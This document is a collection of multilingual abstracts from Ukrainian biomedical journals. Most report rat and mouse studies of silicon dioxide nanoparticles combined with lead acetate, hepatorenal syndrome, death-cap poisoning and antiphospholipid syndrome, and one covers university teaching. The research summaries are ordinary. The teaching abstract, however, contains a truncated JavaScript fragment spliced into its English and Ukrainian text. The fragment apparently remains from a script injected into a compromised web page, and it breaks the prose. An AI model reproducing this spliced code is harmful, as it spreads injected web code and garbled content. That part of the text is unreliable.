ФУНКЦІОНАЛЬНИЙ СТАН ПЕЧІНКИ В ЩУРІВ ЗА УМОВ ЕКСПЕРИМЕНТАЛЬНОГО ГЕПАТОРЕНАЛЬНОГО СИНДРОМУ

During an experiment on white outbread mail rats with different models of hepatorenal syndrome, evaluationsof liver functional state biochemical findings in blood plasma were studied. The results of the study showed obvioushepatic disorders manifested by decrease in blood plasma albumin and urea content, transaminitis, changes ofRitis coefficient and increased alkaline phosphatase. It was determined that the disorders were more pronouncedin cases of hepatorenal syndrome modelling by means of carbon tetrachloride administering.В эксперименте на беспородных белых крысах-самцах с различными моделями гепаторенального синдрома исследовано изменения биохимических показателей функционального состояния печени в плазме крови. Результаты проведенного исследования указывают на выраженное нарушение функциональногосостояния печени, которое проявилось уменьшением содержания альбумина и мочевины в плазме крови, повышением активности трансаминаз, нарушением коэффициента Ритиса и возрастанием активности щелочной фосфатазы. Установлено, что интенсивность патологических изменений более выраженапри моделировании гепаторенального синдрома путем введения етрахлорметана.В експерименті на безпородних білих щурах-самцях з різними моделями гепаторенального синдромудосліджено зміни біохімічних показників функціонального стану печінки в плазмі крові. Результати проведеного дослідження вказують на виражене порушення функціонального стану печінки, що проявилося зменшенням вмісту альбуміну та сечовини у плазмі крові, підвищенням активності трансаміназ, порушенням коефіцієнта Рітіса та зростанням активності лужної фосфатази. Встановлено, що інтенсивністьпатологічних змін більш виражена при моделюванні гепаторенального синдрому шляхом введення тетрахлорметану

Вплив наночастинок діоксиду кремнію на гепатотоксичність свинцю

Nanoparticles are known to facilitate transport of chemicals and medications through membrane barriers into cells. This results in the raising of toxic effect when two contaminants act on the body at the same time. The aim of this study was to determine how silicon dioxide (SiO2) nanoparticles affect the hepatotoxic properties of lead. Alanine and aspartate transaminases, alkaline phosphatase activities, as well as total protein, total bilirubin, creatinine and urea contents were measured in rat blood plasma. It has been shown that SiO2 nanoparticles did not significantly affect the above listed markers. Administration of lead acetate to the animals caused cytolysis of hepatocytes, as evidenced by significant increase of alanine and aspartate transaminases, alkaline phosphatase activities, along with significant decrease of total plasma protein and increase of total bilirubin levels. The increase of aminotransferases and alkaline phosphatase activities in animals that received both SiO2 nanoparticles and lead acetate was significant compared to the animals that received only lead acetate. This suggests that SiO2 nanoparticles, which are normally present in the environment and food products as contaminants, can enhance the negative hepatotoxic effects of lead.Известная для наночастиц способность усиливать транспорт химических веществ и лекарственных средств в клетки и через барьеры организма делает актуальным вопрос о возможности потенцирования токсического действия химических контаминантов при их совместном поступлении в организм. Целью данной работы было исследовать способность наночастиц диоксида кремния влиять на гепатотоксичность свинца в эксперименте. В сыворотке крови крыс определяли активность аланин- и аспартатаминотрансфераз, щелочной фосфатазы, содержание общего белка, общего билирубина, мочевины и креатинина. Установлено, что под влиянием наночастиц SiO2 исследуемые показатели не испытывали достоверных изменений. Введение крысам ацетата свинца приводило к выраженному цитолизу гепатоцитов, о чем свидетельствовало достоверное повышение активности аланин- и аспартатаминотрансфераз, щелочной фосфатазы, а также достоверное снижение содержания общего белка в сыворотке крови и рост содержания общего билирубина. Наиболее существенно исследуемые показатели менялись в сыворотке крови животных, которым вводили наночастицы вместе с ацетатом свинца. В этом случае активность маркерных ферментов цитолиза и щелочной фосфатазы была достоверно выше по сравнению с группой животных, которым вводили только химический токсикант. Сделан вывод, что наночастицы диоксида кремния, которые могут присутствовать в окружающей среде и пищевой продукции как контаминанты, способны усиливать гепатотоксический эффект свинца.Відома для наночастинок здатність посилювати транспорт хімічних речовин і лікарських засобів e клітини і через бар’єри організму робить актуальним питання про можливість потенціювання токсичної дії хімічних контамінантів при їх сумісному надходженні в організм. Метою даної роботи було дослідити здатність наночастинок діоксиду кремніювпливати на гепатотоксичність свинцю в експерименті. E сироватці крові щурів визначали активність аланін- і аспартатамінотрансфераз, лужної фосфатази, вміст загального білка, загального білірубіну, сечовини і креатиніну. Встановлено, що під впливом наночастинок SiO2 досліджувані показники не зазнавали достовірних змін. Введення щурам ацетату свинцю призводило до вираженого цитолізу гепатоцитів, про що свідчило достовірне підвищення активності аланін- і аспартатамінотрансфераз, лужної фосфатази, а також достовірне зниження вмісту загального білка в сироватці крові та зростання вмісту загального білірубіну. Найбільш суттєво досліджувані показники змінювалися d сироватці крові тварин, яким вводили наночастинки разом з ацетатом свинцю. У цьому випадку активність маркерних ензимів цитолізу і лужної фосфатази була достовірно вищою порівняно з групою тварин, яким вводили тільки хімічний токсикант. Зроблено висновок, що наночастинки діоксиду кремнію, які можуть бути присутні у довкіллі й харчовій продукції як контамінанти, здатні посилювати гепатотоксичний ефект свинцю

Наночастинки діоксиду кремнію посилюють викликаний свинцем оксидативний та нітрооксидативний стрес

Introduction. Nanoparticles are widely used in scientific research, industry and medicine. The established capability of nanoparticles to increase the transport of chemicals and drugs into cells and through the body barriers makes the possibility of potentiating the chemical contaminants toxicity in case of their simultaneous intake an urgent matter.The aim of the study – to learn the effect of silicon dioxide nanoparticles on the ability of chemical lead acetate toxicant to cause oxidative and nitro-oxidative stress in blood serum and liver of experimental rats.Research Methods. Experiments were conducted on 40 white outbred male rats, 150–160 g in weight, which were divided into 4 groups. Animals of the group (control) 1 were daily administered with saline solution intragastrically. The rats of the group 2 were administered with colloidal solution of silicon dioxide nanoparticles in a dose of 50 mg/kg of body weight. Animals of the group 3 were injected with lead acetate in aqueous solution in a dose of 20 mg/kg of body weight (expressed as lead), the group 4 – with solution of silicon dioxide nanoparticles with lead acetate daily during 3 weeks at the same doses. The total activity of NO-synthase, catalase, superoxide dismutase, NOx content, thiobarbituric acid reactive substances, oxidized modified proteins, reduced glutathione, ceruloplasmin and total serum antioxidant activity were determined in serum and liver. The obtained parameters were statistically processed.Results and Discussion. It was proved that silicon dioxide nanoparticles did not influence the studied parameters considerably. The administration of lead acetate to rats caused significant changes of all indices. However, the maximum changes of the parameters were evidenced in the group of animals in cases of simultaneous administration of silicon dioxide nanoparticles and lead acetate. In that case, the content of thiobarbituric acid reactive substances, NOx, oxidized modified proteins, reduced glutathione, and superoxide dismutase activity in blood serum and liver homogenate of rats varied significantly compared with the parameters of the group of animals that were administered with the chemical toxicant only.Conclusion. Silicon dioxide nanoparticles enhance the capability of the chemical lead acetate toxicant to cause oxidative and nitro-oxidative stress in blood serum and liver of the experimental rats.Вступление. Наночастицы широко используются в научных исследованиях, промышленности и медицине. Известная для наночастиц способность усиливать транспорт химических веществ и лекарственных средств в клетки и через барьеры организма делает актуальным вопрос о возможности потенцирования токсического действия химических контаминантов при их совместном поступлении в организм.Цель исследования – изучить влияние наночастиц диоксида кремния на способность химического токсиканта ацетата свинца вызывать оксидативный и нитрооксидативный стресс в сыворотке крови и печени экспериментальных крыс.Методы исследования. Опыты проведены на 40 беспородных белых крысах-самцах массой 150–160 г, которые были разделены на 4 группы. Животным 1-й (контрольной) группы ежедневно внутрижелудочно вводили физиологический раствор. Крысы 2-й группы получали коллоидный раствор наночастиц диоксида кремния в дозе 50 мг/кг массы тела. Животным 3-й группы вводили ацетат свинца в виде водного раствора в дозе 20 мг/кг массы тела (в пересчете на свинец), 4-й – в течение 3-х недель ежедневно вводили раствор наночастиц диоксида кремния совместно с ацетатом свинца в вышеупомянутых дозах. В сыворотке и печени определяли суммарную активность NO-синтазы, каталазы, супероксиддисмутазы, содержание NOx, ТБК-активных продуктов, окислительномодифицированных белков, восстановленного глутатиона, церулоплазмина и общую антиоксидную активность сыворотки. Полученные показатели обрабатывали статистически.Результаты и обсуждение. Установлено, что под влиянием наночастиц диоксида кремния исследуемые показатели не испытывали достоверных изменений. Введение крысам ацетата свинца приводило к выраженным изменениям всех показателей. Однако максимальные изменения показателей зарегистрировано в группе животных на фоне совместного введения наночастиц диоксида кремния и ацетата свинца. В этом случае содержание ТБК-активных продуктов, NOx, окислительномодифицированных белков, восстановленного глутатиона и активность супероксиддисмутазы в сыворотке крови и гомогенате печени крыс достоверно изменялись по сравнению с аналогичными показателями в группе животных, которым вводили только химический токсикант.Вывод. Наночастицы диоксида кремния усиливают способность химического токсиканта ацетата свинца вызывать оксидативный и нитрооксидативный стресс в сыворотке крови и печени экспериментальных крыс.Вступ. Наночастинки широко використовують у наукових дослідженнях, промисловості та медицині. Відома для наночастинок здатність посилювати транспорт хімічних речовин і лікарських засобів у клітини і через бар’єри організму робить актуальним питання про можливість потенціювання токсичної дії хімічних контамінантів при їх сумісному надходженні в організм.Мета дослідження – вивчити вплив наночастинок діоксиду кремніюна здатність хімічного токсиканта ацетату свинцю викликати оксидативний та нітрооксидативний стрес у сироватці крові й печінці експериментальних щурів.Методи дослідження. Досліди проведено на 40 безпородних білих щурах-самцях масою 150–160 г, яких було поділено на 4 групи. Тваринам 1-ї (контрольної) групи щоденно внутрішньошлунково вводили фізіологічний розчин. Щури 2-ї групи отримували колоїдний розчин наночастинок діоксиду кремнію в дозі 50 мг/кг маси тіла. Тваринам 3-ї групи вводили ацетат свинцю у вигляді водного розчину в дозі 20 мг/кг маси тіла (у перерахунку на свинець), 4-ї – протягом 3-х тижнів щоденно вводили розчин наночастинок діоксиду кремнію сумісно з ацетатом свинцю у вищезазначених дозах. У сироватці й печінці визначали сумарну активність NO-синтази, каталази, супероксиддисмутази, вміст NOx, ТБК-активних продуктів, окиснено-модифікованих білків, відновленого глутатіону, церулоплазміну і загальну антиоксидну активність сироватки. Отримані показники обробляли статистично.Результати й обговорення. Встановлено, що під впливом наночастинок діоксиду кремнію досліджувані показники не зазнавали достовірних змін. Введення щурам ацетату свинцю призводило до виражених змін усіх показників. Проте максимальні зміни показників зареєстровано у групі тварин на фоні сумісного введення наночастинок діоксиду кремнію й ацетату свинцю. У цьому випадку вміст ТБК-активних продуктів, NOx, окисномодифікованих білків, відновленого глутатіону й активність супероксиддисмутази в сироватці крові та гомогенаті печінки щурів достовірно змінювалися порівняно з аналогічними показниками у групі тварин, яким вводили тільки хімічний токсикант.Висновок. Наночастинки діоксиду кремнію посилюють здатність хімічного токсиканта ацетату свинцю викликати оксидативний і нітрооксидативний стрес у сироватці крові й печінці експериментальних щурів

НАНОЧАСТИНКИ : ВАЖЛИВІСТЬ СЬОГОДНІ , КЛАСИФІКАЦІЯ

In recent years research in various areas of nanoscience in the world and in Ukraine is rapidly developing. Accordingto scientific publications and internet resources authors had analyzed the state of research in various fieldsof nanotechnology, nanomedicine, nanotoxicology, nanochemistry of metals. The authors drew attention to the needfor in-depth study of the physiological, biochemical and physical-chemical mechanisms of nanoparticles’ on livingorganism in order to prevent their possible toxic effects.В последние годы интенсивно проводят исследования по различным направлениям нанонауки в мире и в Украине. По данным научных публикаций и интернет-ресурсов в статье проанализировано состояние исследований в различных областях нанотехнологий: наномедицине, нанотоксикологии, нанохимии металлов. Обращено внимание на необходимость углубленного изучения физиологических, биохимических и физико-химических механизмов действия наночастиц на живой организм с целью предотвращения ихвозможного токсического влияния.В останні роки інтенсивно проводять дослідження з різних напрямків нанонауки у світі та в Україні. За даними наукових публікацій та Інтернет-ресурсів у статті проаналізовано стан досліджень у різних галузях нанотехнологій: наномедицині, нанотоксикології, нанохімії металів. Звернуто увагу на необхідність поглибленого вивчення фізіологічних, біохімічних та фізико-хімічних механізмів дії наночастинок на живий організм з метою запобігання їх можливому токсичному впливу

ОСОБЛИВОСТІ ОРГАНІЗАЦІЇ ОСВІТНЬО-ВИХОВНОГО ПРОЦЕСУ У ВИЩИХ НАВЧАЛЬНИХ ЗАКЛАДАХ

The main forms of organization of educational-educative process in higher educational institutions today are established in the article. An important component of teaching staff professional activity in higher educational institutions is searching for effective ways and tools for substantial improvement of education and ensure the unity of professional training and education. The development of the students’ self-government plays an important role in the formation of personality, creativity and implement the education of socially active students. Organization of educative work in higher educational institutions requires constant improvement and searching for new methods.// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;eУ статті висвітлено основні форми організації освітньо-виховного процесу у вищих навчальних закладах на сучасному етапі. Важливою складовою професійної діяльності професорсько-викладацького складу у вищих навчальних закладах є пошук ефективних шляхів удосконалення освіти і забезпечення єдності професійного навчання і виховання. Окреслено роль студентського самоврядування у формуванні особистості, реалізації творчого потенціалу та вихованні соціально-активних студентів. Показано, що організація виховної роботи у вищих навчальних закладах потребує постійного вдосконалення і пошуку нових методів. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;

Indexes of nitric oxide system in experimental antiphospholipid syndrome

Antiphospholipid syndrome (APS) is an autoimmune disease characterized by the presence of antibo­dies to negatively charged membrane phospholipids (aPL). Endothelial dysfunction is one of the most dangerous­ APS manifestations followed by thrombosis, placental insufficiency and often foetal death due to circulatory disorders in placenta blood vessels. It is established that synthesis and bioavailability of nitric oxide (NO) in the endothelium are impaired at APS, but the role of NO system in pregnancy failure at this pathology remains ambiguous. The aim of this research was to estimate the indexes of the nitric oxide system in animals with an experimental antiphospholipid syndrome before pregnancy and on the 18th day of pregnancy, without­ treatment and under treatment with nitric oxide synthesis modulators (L-arginine and aminoguanidine). In the blood serum and liver of the BALB/c mice with experimental APS, the content of eNOS and iNOS– by ELISA and the level of NO2– and NO3– with the use of Gris reagent were determined before pregnancy and on the 18th day of pregnancy. The data obtained indicate the relative inefficient NO production by eNOS and NO hyperproduction by iNOS in the blood serum and liver of mice in the pathogenesis of experimental APS. Thus, in mice with APS before pregnancy and on the 18th day of the pregnancy, the eNOS content and NO2– level were decreased while the iNOS content and NO3– level were increased compared to the indexes in the control animal group. L-arginine administration to the animals with APS at the follow-up periods resulted in an increased eNOS content and NO2–, NO3– levels in blood serum and liver with the simultaneous decrease in iNOS content in the liver as compared to indexes in untreated mice with APS. The combined use of L-arginine and selective iNOS inhibitor aminoguanidine caused a significant increase in eNOS content and a decrease in iNOS content followed by normalization of NO2– and NO3– levels in blood and liver of mice with experimental APS before pregnancy and on the 18th day of pregnancy compared to untreated mice with APS

Окиснювальна модифікація білків у щурів різного віку за умов гострого отруєння токсинами блідої поганки

Introduction. In recent years, scientific articles of domestic and foreign scientists obtained numerical data on the important role of oxidative modification of proteins in the development of many diseases. It is known that entering the organism of toxic compounds, including toxins of Amanita phalloides, sharply oppress antioxidant system increases the contents of peroxidation products lipids and proteins in liver, kidneys.The aim of the study – to examine the dynamics of oxidative modification of proteins in rats of different ages affected by poison Amanita phalloides toxins in different periods of the experiment.Methods of the research. In all experimental groups poisoning was modeled by single intraperitoneal administration Amanita phalloides extract obtained by the method of H. Wieland (85 mg / kg body weight). Euthanasia was performed under sodium thiopental anesthesia at 6, 24 and 72 hours after poisoning. Oxidative modification of proteins in blood serum was investigated by Meschyshen method.Results and Discussion. Protein oxidative modification indices in all age groups rats on the model of toxic injury by Amanita phalloides toxins were investigated. It was found out that the progression of the pathological process in the liver and the depletion of the compensatory capacity in animals with acute poisoning by Amanita phalloides leads to the activation of free radical oxidation of proteins and cause the increasing of protein oxidative modification indices. The most pronounced changes occur in 6- and 18- month rats in 24 hours after intoxication.Conclusions. It was defined, that the progression of the pathological process in the liver and the depletion of the compensatory capacity as a result of poisoning by toxins of Amanita phalloides cause the increasing of protein oxidative modification indices. It can be considered as one of the earliest markers of damage to organs and tissues including hepatocytes and reliable early predictor of the development and pathology related oxidative stress.Вступление. В последние годы отечественные и зарубежные ученые получили многочисленные данные о важной роли окислительной модификации белков в развитии многих заболеваний. Известно, что поступление в организм токсических соединений, в частности токсинов бледной поганки, резко подавляет антиоксидантную систему и повышает содержание продуктов перекисного окисления липидов и белков в печени и почках.Цель исследования – изучить динамику показателей окислительной модификации белков у крыс разного возраста, пораженных ядом бледной поганки, в разные периоды эксперимента.Методы исследования. Во всех опытных группах моделировали отравление путем однократного внутрибрюшного введения экстракта бледной поганки, полученного по методу H. Wieland (85 мг/кг массы тела). Эвтаназию проводили под тиопентал-натриевым наркозом через 6, 24 и 72 ч после отравления. Окислительную модификацию белков в сыворотке крови исследовали по методу И. Ф. Мещишена.Результаты и обсуждение. Исследовано влияние токсинов бледной поганки Amanita phalloides на показатели окислительной модификации белков у крыс разных возрастных периодов. Прогрессирование патологического процесса в печени и истощение компенсаторных возможностей у животных с острым отравлением бледной поганкой приводили к активации процессов свободнорадикального окисления белков и возрастанию в динамике показателей окислительной модификации белков. Максимально выраженные изменения наблюдали в 6- и 18-месячных крыс через 24 ч после интоксикации.Выводы. Установлено, что прогрессирование патологического процесса в печени и истощение компенсаторных возможностей вследствие отравления токсинами бледной поганки приводят к возрастанию в динамике показателей окислительной модификации белков. Это можно рассматривать как один из ранних маркеров повреждения органов и тканей, в том числе и гепатоцитов, а также как надежный и ранний предвестник развития патологии, связанной с оксидативным стрессом.Вступ. В останні роки вітчизняні та зарубіжні вчені отримали численні дані про важливу роль окиснювальної модифікації білків у розвитку багатьох захворювань. Вiдомо, що надходження в органiзм токсичних сполук, зокрема токсинів блідої поганки, рiзко пригнiчує антиоксидантну систему та пiдвищує вмiст продуктiв пероксидного окиснення лiпiдiв i бiлкiв у печінці й нирках.Мета дослідження – вивчити динаміку показників окиснювальної модифікації білків у щурів різного віку, уражених отрутою блідої поганки, в різні періоди експерименту.Методи дослідження. У всіх дослідних групах моделювали отруєння шляхом одноразового внутрішньочеревного введення екстракту блідої поганки, отриманого за методом H. Wieland (85 мг/кг маси тіла). Евтаназію проводили під тіопентал-натрієвим наркозом через 6, 24 та 72 год після отруєння. Окиснювальну модифікацію білків у сироватці крові досліджували за методом І. Ф. Мещишена.Результати й обговорення. Досліджено вплив токсинів блідої поганки Amanita phalloides на показники окиснювальної модифікації білків у щурів різних вікових періодів. Прогресування патологічного процесу в печінці та виснаження компенсаторних можливостей у тварин з гострим отруєнням блідою поганкою призводили до активації процесів вільнорадикального окиснення білків і зростання в динаміці показників окиснювальної модифікації білків. Максимально виражені зміни спостерігали в 6- та 18-місячних щурів через 24 год після інтоксикації.Висновки. Встановлено, що прогресування патологічного процесу в печінці та виснаження компенсаторних можливостей внаслідок отруєння токсинами блідої поганки призводять до зростання в динаміці показників окиснювальної модифікації білків. Це можна розглядати як один із ранніх маркерів ушкодження органів та тканин, у тому числі й гепатоцитів, а також як надійний і ранній провісник розвитку патології, пов’язаної з оксидативним стресом.

CHANGES OF BLOOD SERUM CYTOKINE PROFILE IN RATS IN RESPONSE TO COMBINED INTRODUCTION OF SILICON DIOXIDE NANOPARTICLES AND CHEMICAL TOXICANT LEAD ACETATE

Summary. The established capability of nanoparticles to intensify the transport of chemicals and drugs into cells and across the body barriers makes the possibility of potentiating the toxic effects of chemical contaminants in case of their combined introduction into the body with nanoparticles. The aim of the study – to evaluate the integral effect of silicon dioxide nanoparticles and chemical toxicant lead acetate on blood serum cytokine profile. Materials and Methods. The experiments were conducted on 40 white outbred male rats, which were divided into 4 groups. The animals of the group 1 (control) were daily administered intragastrically with normal saline. The rats of the group 2 were introduced with colloidal solution of silicon dioxide nanoparticles in a dose of 50 mg/kg of body weight. The animals of the group 3 were injected with aqueous lead acetate at a dose of 20 mg/kg of body weight (on a lead basis); and the rats of the group 4 were administered daily with a solution of silicon dioxide nanoparticles and lead acetate during 3 weeks at the abovementioned doses. Concentrations of cytokines TNF-α, IL-1β, IL-6, IL-4, IL-10 were measured in blood serum of the rats by means of ELISA test. Results and Discussion. It was established that silicon dioxide nanoparticles did not change significantly the studied indices. In blood serum of the rats administered with lead acetate, a significant increase in the concentration of proinflammatory cytokines TNF-α, IL- 1β, IL-6 and a decrease in the level of anti-inflammatory cytokines IL-4 and IL-10 were determined. The cytokine profile has been changed the most significantly in blood serum of the animals administrated with both nanoparticles of silicon dioxide and lead acetate. In this case, the concentration of TNF-α, IL-1β and IL-6 was significantly increased by 27, 18.8 and 36.9 % (p<0.05) respectively, compared to the group of animals administered with chemical toxicant only. Conclusions. Silicon dioxide nanoparticles intensify the capability of chemical toxicant lead acetate to increase proinflammatory cytokines output and reduce the output of anti-inflammatory cytokines.

ВПЛИВ МОДУЛЯТОРІВ СИНТЕЗУ ОКСИДУ АЗОТУ НА ПОКАЗНИКИ ЦИТОКІНОВОГО ПРОФІЛЮ ПРИ ЕКСПЕРИМЕНТАЛЬНОМУ АНТИФОСФОЛІПІДНОМУ СИНДРОМІ

Background.&nbsp; Antiphospholipid syndrome (APS) is an autoimmune disease characterized by the presence of specific antibodies. Objective. The aim of the study was to investigate the effect of combined use of L-arginine and aminoguanidine on cytokine profile (IL-1β, IL-6, TNF-α, IL-4, IL-10) in experimental APS. Methods. The study was performed on BALB/c female mice. L-arginine (25&nbsp;mg/kg) and aminoguanidine (10&nbsp;mg/kg) were used for correction. Serum cytokines concentrations were assessed using an ELISA test. Results. It was found that in APS the concentration of proinflammatory cytokines IL-1β, IL-6 and TNF-a increases in 3.2, 2.3 and 4.5 times respectively, compare to the control. At the same time a decrease of the IL-4 and IL-10 in 1.9 and 2.2 times was evidenced. Aminoguanidine, a selective iNOS inhibitor, caused a significant decrease of TNF-α by 57% (p&lt;0.001), but there were no changes in IL-1β, IL-6, IL-4 and IL-10 compare to the APS-group. L-arginine combined with aminoguanidine caused a significant decrease in the concentration of IL-1β by 30% (p&lt;0.01), IL-6 – by 16% (p&lt;0.05), TNF-a – by 59% (p&lt;0.001) compare to the control. At the same time, the concentration of IL-4 increased by 35% (p &lt;0.01), IL-10 – by 25% (p&lt;0.005). Conclusions. Combined use of the precursor of the NO synthesis L-arginine and aminoguanidine, a selective iNOS inhibitor, leads to a decrease in the concentrations of IL-1β, IL-6, TNF-a and an increase of IL-4 and IL-10 compare to the group of the BALB/c mice with APS and the group of animals administered with aminoguanidine.Вступ. Антифосфоліпідний синдром (АФС) – це автоімунне захворювання, яке характеризується наявність антифосфоліпідних антитіл, артеріальними та венозними тромбозами, тромбоцитопенією, невиношування вагітності. Мета дослідження. Дослідити вплив комбінованого застосування L-аргініну та аміногуанідину на показники цитокінового профілю (концентрацію IL-1β, IL-6, TNF-α, IL-4, IL-10) при експериментальному антифосфоліпідному синдромі. Методи дослідження. Дослідження виконано на мишах-самках лінії BALB/с, в яких моделювали АФС. Для корекції використовували L-аргінін (25 мг/кг) та аміногуанідин (10 мг/кг). Визначення концентрації цитокінів IL-1β, IL-6, TNF-α, IL-10, IL-4 у сироватці крові мишей BALB/c проводили методом імуноферментного аналізу з використанням стандартних наборів реактивів. Результати й обговорення. Отримані результати свідчать, що у сироватці крові мишей BALB/с за умов АФС відбувається зростання концентрації прозапальних цитокінів IL-1β у 3,2 раза, IL-6 у у 2,3 раза, TNF-а в 4,5 разів, відносно контролю. Спостерігалось зниження концентрації протизапальних цитокінів IL-4 в 1.9 раза та IL-10 в 2,2 раза у групі тварин з АФС, порівняно із показниками контролю. На фоні застосування селективного інгібітора iNOS аміногуанідину встановлено достовірне зниження концентрації TNF-а на 57 % (р&lt;0.001), проте концентрація IL-1β, IL-6 IL-4 та IL-10 достовірно не змінювалася у сироватці крові мишей BALB/c з АФС, порівняно з показниками тварин з АФС. На фоні застосування попередника синтезу NO L-аргініну в комбінації з аміногуанідином встановлено достовірне зниження концентрації IL-1β на 30&nbsp;% (р&lt;0.01), IL-6 на 16&nbsp;% (р&lt;0.05), TNF-а на 59 % (р&lt;0.001), відносно контролю. Водночас зростала концентрація протизапальних цитокінів IL-4 на 35 % (р&lt;0.01) та IL-10 на 25% (р&lt;0.005), порівняно з показниками групи мишей BALB/c з АФС. Висновки. Встановлено, що комбіноване застосування попередника синтезу NO L-аргініну та селективного інгібітора іNOS аміногуанідину призводить до зниження концентрації IL-1β, IL-6, TNF-а та зростання IL-4 та IL-10, порівняно з показниками групи мишей BALB/c з АФС та групи тварин, яким вводили аміногуанідин

Structural changes of liver, kidneys and spleen in rats affected with nanoparticles of silicon dioxide and lead acetate

У статті представлено результати морфологічних змін печінки, нирок і селезінки щурів при дії наночастинок діоксиду кремнію та ацетату свинцю. Встановлено, що поєднаний вплив нано-SiO2 з ацетатом свинцю спричиняє виражені дистрофічно-некротичні зміни в гепатоцитах, гіперплазію та гіпертрофію зірчастих ретикулоендотеліоцитів, токсичне ураження нефротелію капсули та вивідних канальців нирок, гіпоплазію білої пульпи селезінки, каріорексис та апоптоз клітин червоної пульпи. При введенні тваринам розчину ацетату свинцю морфологічні зміни досліджуваних тканин були виражені значно менше, ніж при спільному застосуванні нано-SiO2 і ацетату свинцю, а при введенні щурам тільки нано-SiO2 кремнію структурні зміни у внутрішніх органах були незначними. Зроблено висновок, що наночастинки діоксиду кремнію посилюють гепато-, нефро- і спленотоксичні ефекти ацетату свинцю; High dispersible nanostructured amorphous silicon dioxide is widely used in food and medicine production, pharmacology and cosmetology. Under certain conditions, nanoparticles can have unfavourable, even toxic effect on the body. Recently it has been shown that nano-SiO2 may also affect animal and human cells in vitro. Even in low doses SiO2 nanoparticles can increase the production of inflammatory mediators, penetrate the cell nucleus and integrate into the phosphate frame of DNA, increase the level of active oxygen forms, influence the apoptosis processes. Changing the integrity of nucleus they may form intra-nuclear protein assembly that causes inhibition of replication, transcription and proliferation reactions. Besides the direct effect of nanoparticles SiO2 on cells, some authors suggest the possibility of their interaction with the priority contaminants of the environment, such as lead. As a result, nanoparticles due to well-developed surface and high adsorption can enhance the penetration of the toxins into the body. So they function as conductors by modifying the toxic effect of xenobiotics. The study was aimed to investigate morphological changes in liver, kidneys and spleen of rats when administered SiO2 nanoparticles and lead acetate. 40 white outbred rats, 150-160 g in weight, which were kept on a standard vivarium diet, were used for the experiments. All manipulations with experimental animals were carried out in accordance with the bioethics principles. The test animals were divided into the following groups: the 1st – the intact rats (control); the 2nd – the rats administered intragastrically with nano-SiO2 colloidal solution at a dose of 50 mg/kg of body weight daily during 3 weeks; the 3rd – the animals administered intragastrically with lead acetate at a dose of 20 mg/kg of body weight (equivalent to lead) daily during 3 weeks for simulation of subacute lead intoxication; the 4th – the rats administered intragastrically with nano-SiO2 solution and lead acetate at the above doses during 3 weeks. The intact animals were administered intragastrically with appropriate amount of normal saline daily. Euthanasia was performed by exsanguination under thiopental sodium anesthesia in 21 days after the beginning of the experiment. Fragments of liver, kidney and spleen were used as the material for morphological studies. It has been established that the combined effect of nano-SiO2 and lead acetate causes: significant dystrophic necrotic changes in hepatocytes, hyperplasia and hypertrophy of Kupffer’s cells, perivascular lymphocytic and histiocytic infiltration in liver; toxic damage of capsule nephrothelium and excretory ducts, that is manifested by tubule- necrotic nephrosis, glomerular vascular component affection in kidneys; white pulp cords hypoplasia with T-lymphocytic zone decrease, karyorrhexis and apoptosis of red pulp in spleen. After administration of lead acetate solution to the experimental animals the morphological changes of liver, kidney and spleen tissues were less pronounced than when joint nano-SiO2 and lead acetate was used. When the rats were administered with silicon oxide nanoparticles only, there were insignificant structural changes of internal organs. The conclusion was drawn that the silicon dioxide nanoparticles increase hepatotoxic, nephrotoxic and spleen toxic effects of lead acetate